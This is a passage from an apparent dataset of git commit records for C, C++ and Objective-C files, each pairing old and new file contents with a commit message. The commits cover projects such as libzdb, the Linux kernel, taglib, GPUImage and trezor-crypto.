\"scheduler.h\"\n\nnamespace Mordor {\n\nclass TimerManager;\nclass Timer;\n\nclass TimeoutStream : public FilterStream\n{\npublic:\n    typedef boost::shared_ptr<TimeoutStream> ptr;\n\npublic:\n    TimeoutStream(Stream::ptr parent, TimerManager &timerManager, bool own = true)\n        : FilterStream(parent),\n          m_timerManager(timerManager),\n          m_readTimeout(~0ull),\n          m_writeTimeout(~0ull),\n          m_readTimedOut(true),\n          m_writeTimedOut(true)\n    {}\n\n    unsigned long long readTimeout() const { return m_readTimeout; }\n    void readTimeout(unsigned long long readTimeout);\n    unsigned long long writeTimeout() const { return m_writeTimeout; }\n    void writeTimeout(unsigned long long writeTimeout);\n\n    size_t read(Buffer &buffer, size_t length);\n    size_t write(const Buffer &buffer, size_t length);\n\nprivate:\n    TimerManager &m_timerManager;\n    unsigned long long m_readTimeout, m_writeTimeout;\n    bool m_readTimedOut, m_writeTimedOut;\n    boost::shared_ptr<Timer> m_readTimer, m_writeTimer;\n    FiberMutex m_mutex;\n};\n\n}\n\n#endif\n","subject":"Initialize some vars so we don't register for a timer when there's not a call oustanding","message":"Initialize some vars so we don't register for a timer when there's not a call oustanding\n\nChange-Id: I690bc333f35cb5aaa196d4f4bbcc11dfee4083df\nReviewed-on: https:\/\/gerrit.dechocorp.com\/4912\nReviewed-by: Jeremy Stanley <8cc48e55af0ea00a29d3ccf3190022dccfb4961b@decho.com>\n","lang":"C","license":"bsd-3-clause","repos":"cgaebel\/mordor,mtanski\/mordor,mtanski\/mordor,mtanski\/mordor,adfin\/mordor,adfin\/mordor,ccutrer\/mordor,mozy\/mordor,adfin\/mordor,ccutrer\/mordor,mozy\/mordor,ccutrer\/mordor,cgaebel\/mordor,mozy\/mordor"}
{"commit":"dce2fa5ec185b39846e93204b2e273beae2e7ff6","old_file":"ext\/libzdb\/connection_pool.c","new_file":"ext\/libzdb\/connection_pool.c","old_contents":"#include <connection_pool.h>\n\nstatic void deallocate(ConnectionPool_T *pool)\n{\n  ConnectionPool_stop(*pool);\n  ConnectionPool_free(pool);\n}\n\n\/*\n * Wrap libzdb's connection pool in a ruby object\n *\/\nstatic VALUE allocate(VALUE klass)\n{\n  ConnectionPool_T *pool;\n  return Data_Wrap_Struct(klass, NULL, deallocate, pool);\n}\n\nstatic VALUE initialize(VALUE self, VALUE rb_string)\n{\n  Check_Type(rb_string, T_STRING);\n\n  ConnectionPool_T *poolPtr;\n  ConnectionPool_T pool;\n  URL_T url;\n  char *url_string;\n\n  Data_Get_Struct(self, ConnectionPool_T, poolPtr);\n\n  url_string = StringValueCStr(rb_string);\n  url        = URL_new(url_string);\n  pool       = ConnectionPool_new(url);\n\n  ConnectionPool_start(pool);\n\n  poolPtr = &pool;\n\n  URL_free(&url);\n\n  return self;\n}\n\nVALUE cLibzdbConnectionPool;\nvoid init_connection_pool()\n{\n  VALUE libzdb = rb_define_module(\"Libzdb\");\n  VALUE klass  = rb_define_class_under(libzdb, \"ConnectionPool\", rb_cObject);\n\n  cLibzdbConnectionPool = klass;\n\n  rb_define_alloc_func(cLibzdbConnectionPool, allocate);\n  rb_define_method(cLibzdbConnectionPool, \"initialize\", initialize, 1);\n}\n","new_contents":"#include <connection_pool.h>\n\nstatic void deallocate(ConnectionPool_T *pool)\n{\n  ConnectionPool_stop(*pool);\n  ConnectionPool_free(pool);\n}\n\nstatic VALUE allocate(VALUE klass)\n{\n  ConnectionPool_T *pool = malloc(sizeof(ConnectionPool_T));\n  return Data_Wrap_Struct(klass, NULL, deallocate, pool);\n}\n\nstatic VALUE initialize(VALUE self, VALUE rb_string)\n{\n  Check_Type(rb_string, T_STRING);\n\n  ConnectionPool_T *pool;\n  \n  char *url_string = StringValueCStr(rb_string);\n  URL_T url        = URL_new(url_string);\n\n  Data_Get_Struct(self, ConnectionPool_T, pool);\n\n  *pool = ConnectionPool_new(url);\n  ConnectionPool_start(*pool);\n\n  URL_free(&url);\n\n  return self;\n}\n\nVALUE cLibzdbConnectionPool;\nvoid init_connection_pool()\n{\n  VALUE libzdb = rb_define_module(\"Libzdb\");\n  VALUE klass  = rb_define_class_under(libzdb, \"ConnectionPool\", rb_cObject);\n\n  cLibzdbConnectionPool = klass;\n\n  rb_define_alloc_func(cLibzdbConnectionPool, allocate);\n  rb_define_method(cLibzdbConnectionPool, \"initialize\", initialize, 1);\n}\n","subject":"Make sure that we allocate something at our pointer and assign our init’d pool to the pointers value.","message":"Make sure that we allocate something at our pointer and assign our init’d pool to the pointers value.","lang":"C","license":"mit","repos":"clowder\/libzdb"}
{"commit":"b374c810d36bffa656b626855d79f19efc6dd2ef","old_file":"src\/android\/AndroidOpenGLInitEvent.h","new_file":"src\/android\/AndroidOpenGLInitEvent.h","old_contents":"#ifndef _ANDROIDOPENGLINITEVENT_H_\n#define _ANDROIDOPENGLINITEVENT_H_\n\n#include <OpenGLInitEvent.h>\n#include <android\/native_window.h>\n\nclass AndroidOpenGLInitEvent : public OpenGLInitEvent {\npublic:\n AndroidOpenGLInitEvent(double _timestamp, int _opengl_es_version, ANativeWindow * _window)\n   : OpenGLInitEvent(_timestamp, _opengl_es_version), window(_window) { }\n\n  ANativeWindow * getWindow() { return window; }\n  std::shared_ptr<EventBase> dup() const { return  std::make_shared<AndroidOpenGLInitEvent>(*this); }\n  void dispatch(Element & element);\n  \n private:\n  ANativeWindow * window = 0;\n};\n\n#endif\n","new_contents":"#ifndef _ANDROIDOPENGLINITEVENT_H_\n#define _ANDROIDOPENGLINITEVENT_H_\n\n#include <OpenGLInitEvent.h>\n#include <android\/native_window.h>\n\nclass AndroidOpenGLInitEvent : public OpenGLInitEvent {\npublic:\n AndroidOpenGLInitEvent(double _timestamp, int _opengl_es_version, ANativeWindow * _window)\n   : OpenGLInitEvent(_timestamp, _opengl_es_version), window(_window) { }\n\n  ANativeWindow * getWindow() { return window; }\n  std::shared_ptr<EventBase> dup() const { return  std::make_shared<AndroidOpenGLInitEvent>(*this); }\n  void dispatch(Element & element) { }\n  \n private:\n  ANativeWindow * window = 0;\n};\n\n#endif\n","subject":"Add Todo implementation to dispatch","message":"Add Todo implementation to dispatch","lang":"C","license":"mit","repos":"Sometrik\/framework,Sometrik\/framework,Sometrik\/framework"}
{"commit":"06e1571bd5cd88cac8f764b0e4e8a48503c737f5","old_file":"src\/Walker.h","new_file":"src\/Walker.h","old_contents":"\/\/! \\file Walker.h\n\n#ifndef _WALKER_H\n#define _WALKER_H\n\n#include \"ArticleCollection.h\"\n\n\/\/! Base class for article analyzers\nclass Walker\n{\nprotected:\n    \/\/! article collection, used as cache, for walked articles\n    ArticleCollection articleSet;\n};\n\n#endif \/\/ _WALKER_H\n","new_contents":"\/\/! \\file Walker.h\n\n#ifndef _WALKER_H\n#define _WALKER_H\n\n#include \"ArticleCollection.h\"\n\n\/\/! Base class for article analyzers\nclass Walker\n{\npublic:\n    const ArticleCollection& getCollection() const\n    {\n        return articleSet;\n    }\n\nprotected:\n    \/\/! article collection, used as cache, for walked articles\n    ArticleCollection articleSet;\n};\n\n#endif \/\/ _WALKER_H\n","subject":"Add method to get const article collection in walker","message":"Add method to get const article collection in walker\n\n  so I don't have to do everything within that class...\n","lang":"C","license":"mit","repos":"dueringa\/WikiWalker"}
{"commit":"c8d52465f95c4187871f8e65666c07806ca06d41","old_file":"include\/linux\/compiler-gcc.h","new_file":"include\/linux\/compiler-gcc.h","old_contents":"\/* Never include this file directly.  Include <linux\/compiler.h> instead.  *\/\n\n\/*\n * Common definitions for all gcc versions go here.\n *\/\n\n\n\/* Optimization barrier *\/\n\/* The \"volatile\" is due to gcc bugs *\/\n#define barrier() __asm__ __volatile__(\"\": : :\"memory\")\n\n\/* This macro obfuscates arithmetic on a variable address so that gcc\n   shouldn't recognize the original var, and make assumptions about it *\/\n#define RELOC_HIDE(ptr, off)\t\t\t\t\t\\\n  ({ unsigned long __ptr;\t\t\t\t\t\\\n    __asm__ (\"\" : \"=g\"(__ptr) : \"0\"(ptr));\t\t\\\n    (typeof(ptr)) (__ptr + (off)); })\n\n\n#define inline\t\tinline\t\t__attribute__((always_inline))\n#define __inline__\t__inline__\t__attribute__((always_inline))\n#define __inline\t__inline\t__attribute__((always_inline))\n#define __deprecated\t\t\t__attribute__((deprecated))\n#define  noinline\t\t\t__attribute__((noinline))\n#define __attribute_pure__\t\t__attribute__((pure))\n#define __attribute_const__\t\t__attribute__((__const__))\n","new_contents":"\/* Never include this file directly.  Include <linux\/compiler.h> instead.  *\/\n\n\/*\n * Common definitions for all gcc versions go here.\n *\/\n\n\n\/* Optimization barrier *\/\n\/* The \"volatile\" is due to gcc bugs *\/\n#define barrier() __asm__ __volatile__(\"\": : :\"memory\")\n\n\/* This macro obfuscates arithmetic on a variable address so that gcc\n   shouldn't recognize the original var, and make assumptions about it *\/\n\/*\n * Versions of the ppc64 compiler before 4.1 had a bug where use of\n * RELOC_HIDE could trash r30. The bug can be worked around by changing\n * the inline assembly constraint from =g to =r, in this particular\n * case either is valid.\n *\/\n#define RELOC_HIDE(ptr, off)\t\t\t\t\t\\\n  ({ unsigned long __ptr;\t\t\t\t\t\\\n    __asm__ (\"\" : \"=r\"(__ptr) : \"0\"(ptr));\t\t\\\n    (typeof(ptr)) (__ptr + (off)); })\n\n\n#define inline\t\tinline\t\t__attribute__((always_inline))\n#define __inline__\t__inline__\t__attribute__((always_inline))\n#define __inline\t__inline\t__attribute__((always_inline))\n#define __deprecated\t\t\t__attribute__((deprecated))\n#define  noinline\t\t\t__attribute__((noinline))\n#define __attribute_pure__\t\t__attribute__((pure))\n#define __attribute_const__\t\t__attribute__((__const__))\n","subject":"Work around ppc64 compiler bug","message":"[PATCH] Work around ppc64 compiler bug\n\nIn the process of optimising our per cpu data code, I found a ppc64\ncompiler bug that has been around forever. Basically the current\nRELOC_HIDE can end up trashing r30. Details of the bug can be found at\n\n  http:\/\/gcc.gnu.org\/bugzilla\/show_bug.cgi?id=25572\n\nThis bug is present in all compilers before 4.1. It is masked by the\nfact that our current per cpu data code is inefficient and causes\nother loads that end up marking r30 as used.\n\nA workaround identified by Alan Modra is to use the =r asm constraint\ninstead of =g.\n\nSigned-off-by: Anton Blanchard <14deb5e5e417133e888bf47bb6a3555c9bb7d81c@samba.org>\n[ Verified that this makes no real difference on x86[-64] *\/\nSigned-off-by: Linus Torvalds <69652caca27c8b940640ad396ab71f93cacec34f@osdl.org>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs"}
{"commit":"ee852c74a5ac7993cc3868bb5a1f7e5e243a2a4c","old_file":"tests\/regression\/35-int-refinements\/interval-congruence.c","new_file":"tests\/regression\/35-int-refinements\/interval-congruence.c","old_contents":"","new_contents":"\/\/ PARAM: --disable ana.int.def_exc --enable ana.int.interval --enable ana.int.congruence\n#include <assert.h>\n\nint main(){\n    int r = -103;\n    for (int i = 0; i < 40; i++) {\n        r = r + 5;\n    }\n    \/\/ At this point r in the congr. dom should be 2 + 5Z\n    int k = r;\n    if (k >= 3) {\n        \/\/ After refinement with congruences, the lower bound should be 7 as the numbers 3 - 6 are not in the congr. class\n        assert (k < 7); \/\/ FAIL\n    }\n\n    if (r >= -11 && r <= -4) {\n        assert (r == -8);\n    }\n    return 0;\n}\n","subject":"Add (deactivated) refinement test for interval\/congruence domain","message":"Add (deactivated) refinement test for interval\/congruence domain\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"535aa1e979070a2f57d1a7e17e03d2dd1a4aae1e","old_file":"ReQL.h","new_file":"ReQL.h","old_contents":"\/**\n * @author Adam Grandquist\n *\/\n\n#include \"ReQL-ast.h\"\n\n#ifndef _REQL_H\n#define _REQL_H\n\nstruct _ReQL_Conn_s {\n  int socket;\n  int error;\n  char *buf;\n  unsigned int max_token;\n  struct _ReQL_Cur_s **cursor;\n};\ntypedef struct _ReQL_Conn_s _ReQL_Conn_t;\n\nstruct _ReQL_Cur_s {\n};\ntypedef struct _ReQL_Cur_s _ReQL_Cur_t;\n\nint _reql_connect(_ReQL_Conn_t *conn, unsigned char host_len, char *host, unsigned char port);\nint _reql_close_conn(_ReQL_Conn_t *conn);\n\n_ReQL_Cur_t *_reql_run(_ReQL_Op_t *query, _ReQL_Conn_t *conn, _ReQL_Op_t *kwargs);\nvoid _reql_next(_ReQL_Cur_t *cur);\nvoid _reql_close_cur(_ReQL_Cur_t *cur);\n\n#endif\n","new_contents":"\/**\n * @author Adam Grandquist\n *\/\n\n#include \"ReQL-ast.h\"\n\n#ifndef _REQL_H\n#define _REQL_H\n\nstruct _ReQL_Conn_s {\n  int socket;\n  int error;\n  char *buf;\n  unsigned int max_token;\n  struct _ReQL_Cur_s **cursor;\n};\ntypedef struct _ReQL_Conn_s _ReQL_Conn_t;\n\nstruct _ReQL_Cur_s {\n  _ReQL_Conn_t *conn;\n  unsigned int idx;\n  _ReQL_Op_t *response;\n};\ntypedef struct _ReQL_Cur_s _ReQL_Cur_t;\n\nint _reql_connect(_ReQL_Conn_t *conn, unsigned char host_len, char *host, unsigned char port);\nint _reql_close_conn(_ReQL_Conn_t *conn);\n\n_ReQL_Cur_t *_reql_run(_ReQL_Op_t *query, _ReQL_Conn_t *conn, _ReQL_Op_t *kwargs);\nvoid _reql_next(_ReQL_Cur_t *cur);\nvoid _reql_close_cur(_ReQL_Cur_t *cur);\n\n#endif\n","subject":"Add connection and response to cursors.","message":"Add connection and response to cursors.\n","lang":"C","license":"apache-2.0","repos":"grandquista\/ReQL-Core,grandquista\/ReQL-Core,grandquista\/ReQL-Core,grandquista\/ReQL-Core"}
{"commit":"0d16255d093a3292abaf0b07e21ddebc956e7ca3","old_file":"tests\/utils.h","new_file":"tests\/utils.h","old_contents":"#include <string>\n#include <stdio.h>\n#include <unistd.h>\n#include <fcntl.h>\n#include <sys\/fcntl.h>\n\nusing namespace std;\n\ninline string copyFile(const string &filename, const string &ext)\n{\n  string newname = string(tempnam(NULL, NULL)) + ext;\n  string oldname = string(\"data\/\") + filename + ext;\n  char buffer[4096];\n  int bytes;\n  int inf = open(oldname.c_str(), O_RDONLY);\n  int outf = open(newname.c_str(), O_CREAT | O_EXCL | O_RDWR, S_IRUSR | S_IWUSR);\n  while((bytes = read(inf, buffer, sizeof(buffer))) > 0)\n    write(outf, buffer, bytes);\n  close(outf);\n  close(inf);\n  return newname;\n}\n\ninline void deleteFile(const string &filename)\n{\n  remove(filename.c_str());\n}\n\nclass ScopedFileCopy\n{\npublic:\n  ScopedFileCopy(const string &filename, const string &ext)\n  {\n    m_filename = copyFile(filename, ext);\n  }\n\n  ~ScopedFileCopy()\n  {\n    deleteFile(m_filename);\n  }\n\n  string fileName()\n  {\n    return m_filename;\n  }\n\nprivate:\n  string m_filename;\n};\n","new_contents":"#ifdef _WIN32\n#include <windows.h>\n#else\n#include <unistd.h>\n#include <fcntl.h>\n#include <sys\/fcntl.h>\n#endif\n#include <stdio.h>\n#include <string>\n\nusing namespace std;\n\ninline string copyFile(const string &filename, const string &ext)\n{\n  string newname = string(tempnam(NULL, NULL)) + ext;\n  string oldname = string(\"data\/\") + filename + ext;\n#ifdef _WIN32\n  CopyFile(oldname.c_str(), newname.c_str(), FALSE);\n  SetFileAttributes(newname.c_str(), GetFileAttributes(newname.c_str()) & ~FILE_ATTRIBUTE_READONLY);\n#else\n  char buffer[4096];\n  int bytes;\n  int inf = open(oldname.c_str(), O_RDONLY);\n  int outf = open(newname.c_str(), O_CREAT | O_EXCL | O_RDWR, S_IRUSR | S_IWUSR);\n  while((bytes = read(inf, buffer, sizeof(buffer))) > 0)\n    write(outf, buffer, bytes);\n  close(outf);\n  close(inf);\n#endif\n  return newname;\n}\n\ninline void deleteFile(const string &filename)\n{\n  remove(filename.c_str());\n}\n\nclass ScopedFileCopy\n{\npublic:\n  ScopedFileCopy(const string &filename, const string &ext)\n  {\n    m_filename = copyFile(filename, ext);\n  }\n\n  ~ScopedFileCopy()\n  {\n    deleteFile(m_filename);\n  }\n\n  string fileName()\n  {\n    return m_filename;\n  }\n\nprivate:\n  string m_filename;\n};\n","subject":"Fix compilation fo the test runner on Windows","message":"Fix compilation fo the test runner on Windows\n\nPatch by Stephen Hewitt\n\n\ngit-svn-id: 7928e23e4d58c5ca14aa7b47c53aeff82ee1dd0c@1078612 283d02a7-25f6-0310-bc7c-ecb5cbfe19da\n","lang":"C","license":"lgpl-2.1","repos":"dlz1123\/taglib,black78\/taglib,taglib\/taglib,davispuh\/taglib,pbhd\/taglib,videolabs\/taglib,videolabs\/taglib,TsudaKageyu\/taglib,taglib\/taglib,MaxLeb\/taglib,pbhd\/taglib,Distrotech\/taglib,pbhd\/taglib,crystax\/cosp-android-taglib,dlz1123\/taglib,crystax\/cosp-android-taglib,davispuh\/taglib,Distrotech\/taglib,dlz1123\/taglib,TsudaKageyu\/taglib,i80and\/taglib,i80and\/taglib,TsudaKageyu\/taglib,taglib\/taglib,i80and\/taglib,Distrotech\/taglib,videolabs\/taglib,MaxLeb\/taglib,MaxLeb\/taglib,black78\/taglib,davispuh\/taglib,black78\/taglib"}
{"commit":"ffbc0b4a8ff278d4eefd47f4ae0016eaf75641b1","old_file":"framework\/Source\/iOS\/GPUImageView.h","new_file":"framework\/Source\/iOS\/GPUImageView.h","old_contents":"#import <UIKit\/UIKit.h>\n#import \"GPUImageContext.h\"\n\ntypedef enum {\n    kGPUImageFillModeStretch,                       \/\/ Stretch to fill the full view, which may distort the image outside of its normal aspect ratio\n    kGPUImageFillModePreserveAspectRatio,           \/\/ Maintains the aspect ratio of the source image, adding bars of the specified background color\n    kGPUImageFillModePreserveAspectRatioAndFill     \/\/ Maintains the aspect ratio of the source image, zooming in on its center to fill the view\n} GPUImageFillModeType; \n\n\/**\n UIView subclass to use as an endpoint for displaying GPUImage outputs\n *\/\n@interface GPUImageView : UIView <GPUImageInput>\n{\n    GPUImageRotationMode inputRotation;\n}\n\n\/** The fill mode dictates how images are fit in the view, with the default being kGPUImageFillModePreserveAspectRatio\n *\/\n@property(readwrite, nonatomic) GPUImageFillModeType fillMode;\n\n\/** This calculates the current display size, in pixels, taking into account Retina scaling factors\n *\/\n@property(readonly, nonatomic) CGSize sizeInPixels;\n\n@property(nonatomic) BOOL enabled;\n\n\/** Handling fill mode\n \n @param redComponent Red component for background color\n @param greenComponent Green component for background color\n @param blueComponent Blue component for background color\n @param alphaComponent Alpha component for background color\n *\/\n- (void)setBackgroundColorRed:(GLfloat)redComponent green:(GLfloat)greenComponent blue:(GLfloat)blueComponent alpha:(GLfloat)alphaComponent;\n\n- (void)setCurrentlyReceivingMonochromeInput:(BOOL)newValue;\n\n@end\n","new_contents":"#import <UIKit\/UIKit.h>\n#import \"GPUImageContext.h\"\n\ntypedef NS_ENUM(NSUInteger, GPUImageFillModeType) {\n    kGPUImageFillModeStretch,                       \/\/ Stretch to fill the full view, which may distort the image outside of its normal aspect ratio\n    kGPUImageFillModePreserveAspectRatio,           \/\/ Maintains the aspect ratio of the source image, adding bars of the specified background color\n    kGPUImageFillModePreserveAspectRatioAndFill     \/\/ Maintains the aspect ratio of the source image, zooming in on its center to fill the view\n};\n\n\n\n\/**\n UIView subclass to use as an endpoint for displaying GPUImage outputs\n *\/\n@interface GPUImageView : UIView <GPUImageInput>\n{\n    GPUImageRotationMode inputRotation;\n}\n\n\/** The fill mode dictates how images are fit in the view, with the default being kGPUImageFillModePreserveAspectRatio\n *\/\n@property(readwrite, nonatomic) GPUImageFillModeType fillMode;\n\n\/** This calculates the current display size, in pixels, taking into account Retina scaling factors\n *\/\n@property(readonly, nonatomic) CGSize sizeInPixels;\n\n@property(nonatomic) BOOL enabled;\n\n\/** Handling fill mode\n \n @param redComponent Red component for background color\n @param greenComponent Green component for background color\n @param blueComponent Blue component for background color\n @param alphaComponent Alpha component for background color\n *\/\n- (void)setBackgroundColorRed:(GLfloat)redComponent green:(GLfloat)greenComponent blue:(GLfloat)blueComponent alpha:(GLfloat)alphaComponent;\n\n- (void)setCurrentlyReceivingMonochromeInput:(BOOL)newValue;\n\n@end\n","subject":"Update GPUImageFillModeType enum to use NS_ENUM","message":"Update GPUImageFillModeType enum to use NS_ENUM\n","lang":"C","license":"bsd-3-clause","repos":"wysaid\/GPUImage,eighteight\/GPUImage,UndaApp\/GPUImage,lacyrhoades\/GPUImage,wfxiang08\/GPUImage,wfxiang08\/GPUImage,catbus\/GPUImage,eighteight\/GPUImage,BradLarson\/GPUImage,birthmark\/GPUImage,wysaid\/GPUImage,PlanetaToBe\/GPUImage,lacyrhoades\/GPUImage,shi-yan\/GPUImage,eighteight\/GPUImage,catbus\/GPUImage,msfeldstein\/GPUImage,jakeva\/GPUImage,wysaid\/GPUImage,birthmark\/GPUImage,PlanetaToBe\/GPUImage,msfeldstein\/GPUImage,BradLarson\/GPUImage,jakeva\/GPUImage,BradLarson\/GPUImage,shi-yan\/GPUImage,UndaApp\/GPUImage"}
{"commit":"82ea549661f657e5925808355322ad6606808428","old_file":"rand.h","new_file":"rand.h","old_contents":"\/**\n * Copyright (c) 2013-2014 Tomas Dzetkulic\n * Copyright (c) 2013-2014 Pavol Rusnak\n *\n * Permission is hereby granted, free of charge, to any person obtaining\n * a copy of this software and associated documentation files (the \"Software\"),\n * to deal in the Software without restriction, including without limitation\n * the rights to use, copy, modify, merge, publish, distribute, sublicense,\n * and\/or sell copies of the Software, and to permit persons to whom the\n * Software is furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included\n * in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES\n * OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,\n * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n * OTHER DEALINGS IN THE SOFTWARE.\n *\/\n\n#ifndef __RAND_H__\n#define __RAND_H__\n\n#include <stdint.h>\n\nvoid init_rand(void);\nint finalize_rand(void);\nuint32_t random32(void);\nvoid random_buffer(uint8_t *buf, size_t len);\n\n#endif\n","new_contents":"\/**\n * Copyright (c) 2013-2014 Tomas Dzetkulic\n * Copyright (c) 2013-2014 Pavol Rusnak\n *\n * Permission is hereby granted, free of charge, to any person obtaining\n * a copy of this software and associated documentation files (the \"Software\"),\n * to deal in the Software without restriction, including without limitation\n * the rights to use, copy, modify, merge, publish, distribute, sublicense,\n * and\/or sell copies of the Software, and to permit persons to whom the\n * Software is furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included\n * in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES\n * OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,\n * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n * OTHER DEALINGS IN THE SOFTWARE.\n *\/\n\n#ifndef __RAND_H__\n#define __RAND_H__\n\n#include <stdlib.h>\n#include <stdint.h>\n\nvoid init_rand(void);\nint finalize_rand(void);\nuint32_t random32(void);\nvoid random_buffer(uint8_t *buf, size_t len);\n\n#endif\n","subject":"Add `stdlib.h` to header. Needed for `size_t`.","message":"Add `stdlib.h` to header. Needed for `size_t`.\n","lang":"C","license":"mit","repos":"romanz\/trezor-crypto,trezor\/trezor-crypto,trezor\/trezor-crypto,01BTC10\/trezor-crypto,trezor\/trezor-crypto,trezor\/trezor-crypto,runn1ng\/trezor-crypto,runn1ng\/trezor-crypto,01BTC10\/trezor-crypto,trezor\/trezor-crypto,jhoenicke\/trezor-crypto,romanz\/trezor-crypto,romanz\/trezor-crypto,runn1ng\/trezor-crypto,runn1ng\/trezor-crypto,runn1ng\/trezor-crypto,romanz\/trezor-crypto,jhoenicke\/trezor-crypto,romanz\/trezor-crypto,jhoenicke\/trezor-crypto,01BTC10\/trezor-crypto,jhoenicke\/trezor-crypto,jhoenicke\/trezor-crypto"}
{"commit":"5702f86c31305d5029f8d9d8bff02bb6b727a06a","old_file":"utils\/Hash.h","new_file":"utils\/Hash.h","old_contents":"#ifndef HASH_H\n#define HASH_H\n\n\n#include <unordered_map>\n#include <unordered_set>\n\n\ntemplate <typename K, typename V>\n\tusing HashMap = std::unordered_map<K, V>;\n\n\ntemplate <typename T>\n\tusing HashSet = std::unordered_set<T>;\n\n\n\n#endif  \/\/ HASH_H\n","new_contents":"#ifndef HASH_H\n#define HASH_H\n\n\n#include <cstdint>\n\n#include <unordered_map>\n#include <unordered_set>\n\n\ntemplate <typename K, typename V>\n\tusing HashMap = std::unordered_map<K, V>;\n\n\ntemplate <typename T>\n\tusing HashSet = std::unordered_set<T>;\n\n\n\/\/ These come from boost\n\/\/ Copyright 2005-2014 Daniel James.\n\/\/ Distributed under the Boost Software License, Version 1.0. (See accompanying\n\/\/ file LICENSE_1_0.txt or copy at http:\/\/www.boost.org\/LICENSE_1_0.txt)\nstatic inline uint32_t combineHashes(uint32_t seed, uint32_t value) {\n\tseed ^= value + 0x9e3779b9 + (seed << 6) + (seed >> 2);\n\n\treturn seed;\n}\n\n\nstatic inline uint64_t combineHashes(uint64_t h, uint64_t k) {\n\tconst uint64_t m = 0xc6a4a7935bd1e995UL;\n\tconst int r = 47;\n\n\tk *= m;\n\tk ^= k >> r;\n\tk *= m;\n\n\th ^= k;\n\th *= m;\n\n\t\/\/ Completely arbitrary number, to prevent 0's\n\t\/\/ from hashing to 0.\n\th += 0xe6546b64;\n\n\treturn h;\n}\n\n\ntemplate <typename It>\nsize_t hashRange(It b, It e) {\n\tsize_t h = 0;\n\n\tfor (It it = b; it != e; it++) {\n\t\th = combineHashes(h, std::hash<typename It::value_type>()(*it));\n\t}\n\n\treturn h;\n}\n\n\n#endif  \/\/ HASH_H\n","subject":"Add some hashing utility functions","message":"Add some hashing utility functions\n","lang":"C","license":"mit","repos":"turol\/smaaDemo,turol\/smaaDemo,turol\/smaaDemo,turol\/smaaDemo,turol\/smaaDemo,turol\/smaaDemo,turol\/smaaDemo,turol\/smaaDemo,turol\/smaaDemo,turol\/smaaDemo,turol\/smaaDemo"}
{"commit":"0e2a0195a37b492cfa9bfc1b985d8c82fc957e70","old_file":"src\/heap_example.c","new_file":"src\/heap_example.c","old_contents":"\/\/ cc heap_example.c heap.c\n\n#include <assert.h>\n#include <stdio.h>\n#include \"bool.h\"\n#include \"heap.h\"\n\n\/* heap data comparator: return true if a < b *\/\nbool\ncmp(void *a, void *b)\n{\n    return *(int *)a < *(int *)b;\n}\n\nint main(int argc, const char *argv[])\n{\n    \/* allocate empty heap with comparator *\/\n    struct heap *heap = heap(cmp);\n    \/* push data into heap *\/\n    int a = 4, b = 1, c = 3, d = 2;\n    assert(heap_push(heap, &a) == HEAP_OK);\n    assert(heap_push(heap, &b) == HEAP_OK);\n    assert(heap_push(heap, &c) == HEAP_OK);\n    assert(heap_push(heap, &d) == HEAP_OK);\n    \/* get current smallest data *\/\n    printf(\"smallest: %d\\n\", *(int *)heap_top(heap));\n    \/* pop and print all data (should be in order) *\/\n    while (heap_len(heap) != 0)\n        printf(\"%d\\n\", *(int *)heap_pop(heap));\n    \/* free heap *\/\n    heap_free(heap);\n    return 0;\n}\n","new_contents":"\/\/ cc heap_example.c heap.c\n\n#include <assert.h>\n#include <stdio.h>\n#include \"bool.h\"\n#include \"heap.h\"\n\n\/* heap data comparator: return true if a < b *\/\nbool\ncmp(void *a, void *b)\n{\n    return *(int *)a < *(int *)b;\n}\n\nint main(int argc, const char *argv[])\n{\n    \/* allocate empty heap with comparator *\/\n    struct heap *heap = heap(cmp);\n    \/* push data into heap *\/\n    int a = 4, b = 1, c = 3, d = 2, e = 5;\n    assert(heap_push(heap, &a) == HEAP_OK);\n    assert(heap_push(heap, &b) == HEAP_OK);\n    assert(heap_push(heap, &c) == HEAP_OK);\n    assert(heap_push(heap, &d) == HEAP_OK);\n    assert(heap_push(heap, &e) == HEAP_OK);\n    \/* get current heap memory capacity (or memory allocated) *\/\n    printf(\"current heap allocated memory: %zu\\n\", heap_cap(heap));\n    printf(\"current heap length: %zu\\n\", heap_len(heap));\n    \/* get current smallest data *\/\n    printf(\"smallest: %d\\n\", *(int *)heap_top(heap));\n    \/* pop and print all data (should be in order) *\/\n    while (heap_len(heap) != 0)\n        printf(\"%d\\n\", *(int *)heap_pop(heap));\n    \/* free heap *\/\n    heap_free(heap);\n    return 0;\n}\n","subject":"Add `heap_len` and `heap_cap` to example","message":"Add `heap_len` and `heap_cap` to example\n","lang":"C","license":"bsd-2-clause","repos":"hit9\/C-Snip,hit9\/C-Snip"}
